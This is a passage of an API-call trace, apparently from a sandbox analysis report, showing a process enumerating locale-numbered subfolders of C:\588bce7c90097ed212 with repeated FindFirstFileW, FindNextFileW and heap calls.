lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 0x4250c40 [0110.289] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.292] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.292] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4261480 [0110.293] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250e00 [0110.295] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.295] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.295] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.295] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.295] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0110.296] FindClose (in: hFindFile=0x4250e00 | out: hFindFile=0x4250e00) returned 1 [0110.296] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0110.296] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.296] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4261480 [0110.296] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x42508c0 [0110.333] FindNextFileW (in: hFindFile=0x42508c0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.361] FindNextFileW (in: hFindFile=0x42508c0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.361] FindNextFileW (in: hFindFile=0x42508c0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.361] FindNextFileW (in: hFindFile=0x42508c0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.361] FindNextFileW (in: hFindFile=0x42508c0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0110.368] FindClose (in: hFindFile=0x42508c0 | out: hFindFile=0x42508c0) returned 1 [0110.369] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0110.369] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.369] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4261480 [0110.369] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250900 [0110.370] FindNextFileW (in: hFindFile=0x4250900, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.370] FindNextFileW (in: hFindFile=0x4250900, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.370] FindNextFileW (in: hFindFile=0x4250900, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.370] FindNextFileW (in: hFindFile=0x4250900, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.371] FindNextFileW (in: hFindFile=0x4250900, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0110.371] FindClose (in: hFindFile=0x4250900 | out: hFindFile=0x4250900) returned 1 [0110.372] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0110.372] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.372] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4261480 [0110.372] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250c00 [0110.373] FindNextFileW (in: hFindFile=0x4250c00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.373] FindNextFileW (in: hFindFile=0x4250c00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.373] FindNextFileW (in: hFindFile=0x4250c00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.373] FindNextFileW (in: hFindFile=0x4250c00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.374] FindNextFileW (in: hFindFile=0x4250c00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0110.374] FindClose (in: hFindFile=0x4250c00 | out: hFindFile=0x4250c00) returned 1 [0110.374] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0110.374] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.375] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4261480 [0110.375] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250900 [0110.376] FindNextFileW (in: hFindFile=0x4250900, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.376] FindNextFileW (in: hFindFile=0x4250900, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.376] FindNextFileW (in: hFindFile=0x4250900, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.376] FindNextFileW (in: hFindFile=0x4250900, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.376] FindNextFileW (in: hFindFile=0x4250900, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0110.378] FindClose (in: hFindFile=0x4250900 | out: hFindFile=0x4250900) returned 1 [0110.378] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0110.378] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.378] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4261480 [0110.378] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250f40 [0110.380] FindNextFileW (in: hFindFile=0x4250f40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.380] FindNextFileW (in: hFindFile=0x4250f40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.380] FindNextFileW (in: hFindFile=0x4250f40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.380] FindNextFileW (in: hFindFile=0x4250f40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.381] FindNextFileW (in: hFindFile=0x4250f40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0110.381] FindClose (in: hFindFile=0x4250f40 | out: hFindFile=0x4250f40) returned 1 [0110.381] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0110.382] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.382] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4261480 [0110.382] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250940 [0110.383] FindNextFileW (in: hFindFile=0x4250940, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.383] FindNextFileW (in: hFindFile=0x4250940, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.383] FindNextFileW (in: hFindFile=0x4250940, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.383] FindNextFileW (in: hFindFile=0x4250940, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.383] FindNextFileW (in: hFindFile=0x4250940, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0110.384] FindClose (in: hFindFile=0x4250940 | out: hFindFile=0x4250940) returned 1 [0110.384] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0110.384] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.384] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4261480 [0110.384] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250dc0 [0110.386] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.386] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.386] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.386] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.386] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0110.387] FindClose (in: hFindFile=0x4250dc0 | out: hFindFile=0x4250dc0) returned 1 [0110.387] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0110.387] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.387] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4261480 [0110.387] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250b40 [0110.389] FindNextFileW (in: hFindFile=0x4250b40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.389] FindNextFileW (in: hFindFile=0x4250b40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.389] FindNextFileW (in: hFindFile=0x4250b40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.389] FindNextFileW (in: hFindFile=0x4250b40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.389] FindNextFileW (in: hFindFile=0x4250b40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0110.392] FindClose (in: hFindFile=0x4250b40 | out: hFindFile=0x4250b40) returned 1 [0110.392] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0110.392] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.392] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4261480 [0110.392] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250e40 [0110.393] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.393] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.393] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.393] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.393] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0110.393] FindClose (in: hFindFile=0x4250e40 | out: hFindFile=0x4250e40) returned 1 [0110.393] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0110.393] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.393] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4261480 [0110.394] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250e00 [0110.394] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.394] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.394] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.394] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.394] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0110.395] FindClose (in: hFindFile=0x4250e00 | out: hFindFile=0x4250e00) returned 1 [0110.395] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0110.395] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.395] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4261480 [0110.395] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250e00 [0110.396] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.424] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.424] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.425] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.425] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0110.430] FindClose (in: hFindFile=0x4250e00 | out: hFindFile=0x4250e00) returned 1 [0110.430] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0110.430] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4261480 [0110.430] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250b80 [0110.435] FindNextFileW (in: hFindFile=0x4250b80, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.435] FindNextFileW (in: hFindFile=0x4250b80, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.435] FindNextFileW (in: hFindFile=0x4250b80, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.435] FindNextFileW (in: hFindFile=0x4250b80, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.435] FindNextFileW (in: hFindFile=0x4250b80, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0110.438] FindClose (in: hFindFile=0x4250b80 | out: hFindFile=0x4250b80) returned 1 [0110.439] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0110.439] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4261480 [0110.439] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x42508c0 [0110.439] FindNextFileW (in: hFindFile=0x42508c0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.439] FindNextFileW (in: hFindFile=0x42508c0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.439] FindNextFileW (in: hFindFile=0x42508c0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.439] FindNextFileW (in: hFindFile=0x42508c0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.439] FindNextFileW (in: hFindFile=0x42508c0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0110.440] FindClose (in: hFindFile=0x42508c0 | out: hFindFile=0x42508c0) returned 1 [0110.440] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0110.440] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.440] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4261480 [0110.440] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250a00 [0110.440] FindNextFileW (in: hFindFile=0x4250a00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.440] FindNextFileW (in: hFindFile=0x4250a00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.440] FindNextFileW (in: hFindFile=0x4250a00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.440] FindNextFileW (in: hFindFile=0x4250a00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.441] FindNextFileW (in: hFindFile=0x4250a00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0110.441] FindClose (in: hFindFile=0x4250a00 | out: hFindFile=0x4250a00) returned 1 [0110.441] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0110.441] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.441] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4261480 [0110.441] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250f00 [0110.602] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.603] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.603] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.604] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.604] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0110.606] FindClose (in: hFindFile=0x4250f00 | out: hFindFile=0x4250f00) returned 1 [0110.606] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0110.606] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.606] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4261480 [0110.606] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250b80 [0110.610] FindNextFileW (in: hFindFile=0x4250b80, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.610] FindNextFileW (in: hFindFile=0x4250b80, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.610] FindNextFileW (in: hFindFile=0x4250b80, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.611] FindNextFileW (in: hFindFile=0x4250b80, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.611] FindNextFileW (in: hFindFile=0x4250b80, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0110.611] FindClose (in: hFindFile=0x4250b80 | out: hFindFile=0x4250b80) returned 1 [0110.612] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0110.612] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.612] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4261480 [0110.612] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250e00 [0110.613] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.614] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.614] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.614] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.614] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0110.616] FindClose (in: hFindFile=0x4250e00 | out: hFindFile=0x4250e00) returned 1 [0110.616] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0110.616] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4261480 [0110.616] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250980 [0110.616] FindNextFileW (in: hFindFile=0x4250980, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.616] FindNextFileW (in: hFindFile=0x4250980, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.616] FindNextFileW (in: hFindFile=0x4250980, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.616] FindNextFileW (in: hFindFile=0x4250980, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.616] FindNextFileW (in: hFindFile=0x4250980, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0110.616] FindClose (in: hFindFile=0x4250980 | out: hFindFile=0x4250980) returned 1 [0110.617] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0110.617] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.617] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4261480 [0110.617] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250d00 [0110.618] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.618] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.618] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.618] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.619] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0110.619] FindClose (in: hFindFile=0x4250d00 | out: hFindFile=0x4250d00) returned 1 [0110.619] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0110.620] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.620] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4261480 [0110.620] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x42509c0 [0110.637] FindNextFileW (in: hFindFile=0x42509c0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.651] FindNextFileW (in: hFindFile=0x42509c0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.651] FindNextFileW (in: hFindFile=0x42509c0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.651] FindNextFileW (in: hFindFile=0x42509c0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.651] FindNextFileW (in: hFindFile=0x42509c0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0110.656] FindClose (in: hFindFile=0x42509c0 | out: hFindFile=0x42509c0) returned 1 [0110.656] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0110.656] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.656] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4261480 [0110.656] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250b00 [0110.657] FindNextFileW (in: hFindFile=0x4250b00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.657] FindNextFileW (in: hFindFile=0x4250b00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.657] FindNextFileW (in: hFindFile=0x4250b00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.657] FindNextFileW (in: hFindFile=0x4250b00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.657] FindNextFileW (in: hFindFile=0x4250b00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0110.657] FindClose (in: hFindFile=0x4250b00 | out: hFindFile=0x4250b00) returned 1 [0110.657] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0110.657] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.657] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4261480 [0110.657] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250b00 [0110.657] FindNextFileW (in: hFindFile=0x4250b00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.657] FindNextFileW (in: hFindFile=0x4250b00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.657] FindNextFileW (in: hFindFile=0x4250b00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.658] FindNextFileW (in: hFindFile=0x4250b00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.658] FindNextFileW (in: hFindFile=0x4250b00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0110.658] FindClose (in: hFindFile=0x4250b00 | out: hFindFile=0x4250b00) returned 1 [0110.658] HeapFree (in: hHeap=0x5b0000, 